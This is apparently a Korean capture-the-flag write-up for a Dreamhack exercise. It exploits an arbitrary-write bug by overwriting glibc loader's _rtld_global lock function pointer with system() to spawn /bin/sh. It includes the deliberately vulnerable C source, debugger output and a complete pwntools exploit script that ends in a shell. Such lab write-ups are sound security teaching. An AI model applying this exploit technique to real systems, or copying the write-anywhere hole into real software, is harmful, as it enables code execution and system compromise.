/ Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
ion@Galaxy-Book:~/dreamhack/overwrite_rtld_global$ checksec ow_rtld
[*] '/home/ion/dreamhack/overwrite_rtld_global/ow_rtld'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout 라이브러리 주소를 출력하고, 입력한 addr 주소에 data를 삽입하는 임의 주소 쓰기 취약점이 존재합니다.
모든 보호 기법이 적용되어 있어 GOT를 덮어쓰는 행위는 불가능합니다.
1. 라이브러리 및 로더 베이스 주소 계산
stdout 주소를 통해 라이브러리 베이스 주소를 구하고, “/lib64/ld-linux-x86-64.so.2”가 맵핑된 로더의 베이스 주소를 알아냅니다.
라이브러리와 로더가 매핑된 주소의 간격은 일정하기 때문에 디버깅을 통해 간격을 알아내고 오프셋을 계산하여 알아낼 수 있습니다.
2. _rtld_global 구조체 계산
로더의 베이스 주소에 rtld_global 구조체의 심볼 주소를 더해 해당 구조체의 주소를 알아낼 수 있습니다. 해당 구조체의 주소를 구했다면, 멤버 변수인 _dl_load_lock과 _dl_rtld_lock_recursive 함수 포인터의 주소를 구합니다.
3. _rtld_global 구조체 조작
프로그램을 종료하는 과정에서 _rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터를 호출합니다. 따라서 dl_load_lock에 "/bin/sh" 또는 "sh" 문자열을 삽입하고 dl_rtld_lock_recursive를 system 함수로 덮어쓰면 쉘을 흭득할 수 있습니다.
stdout 라이브러리 주소를 이용해 라이브러리와 로더의 베이스 주소를 구할 수 있습니다.
libc_base leak
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base leak
ld_base = libc_base + (ld_base - libc_base)
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x00555555600000 0x00555555601000 0x00000000000000 r-- /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x00555555601000 0x00555555602000 0x00000000001000 rw- /home/ion/dreamhack/overwrite_rtld_global/ow_rtld
0x007ffff79e2000 0x007ffff7bc9000 0x00000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7bc9000 0x007ffff7dc9000 0x000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dc9000 0x007ffff7dcd000 0x000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dcd000 0x007ffff7dcf000 0x000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x007ffff7dcf000 0x007ffff7dd3000 0x00000000000000 rw-
0x007ffff7dd3000 0x007ffff7dfc000 0x00000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7fea000 0x007ffff7fec000 0x00000000000000 rw-
0x007ffff7ff7000 0x007ffff7ffb000 0x00000000000000 r-- [vvar]
0x007ffff7ffb000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤ $ 0x007ffff7dd3000-0x007ffff79e2000
4132864
0x3f1000
0b1111110001000000000000
b'?\x10\x00'
b'\x00\x10?'
# ld_base - libc_base = 0x3f1000
ld_base = libc_base + 0x3f1000
# Name: ow_rtld.py
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print(hex(libc_base))
print(hex(ld_base))
p.interactive()
라이브러리의 베이스 주소와 로더의 베이스 주소를 알아냈다면 _rtld_global 구조체와 덮어쓸 멤버 변수의 주소를 구해보겠습니다.
gef➤ p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7ffff7ffd968 <_rtld_global+2312>
gef➤ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
# Name: ow_rtld.py
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
p.interactive()
_dl_rtld_lock_recursive를 system() 함수로 덮어쓰고 _dl_load_lock 주소에 "sh" 또는 "/bin/sh" 문자열을 쓰면 쉘을 흭득할 수 있습니다.
# Name: ow_rtld.py
from pwn import *
p = process("./ow_rtld")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ld = ELF('/lib64/ld-linux-x86-64.so.2')
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
system = libc_base + libc.symbols['system']
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))
p.sendlineafter("> ", "2")
p.interactive()
[+] Starting local process './ow_rtld': pid 94
[*] '/lib64/ld-linux-x86-64.so.2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls
exploit.py ow_rtld ow_rtld.c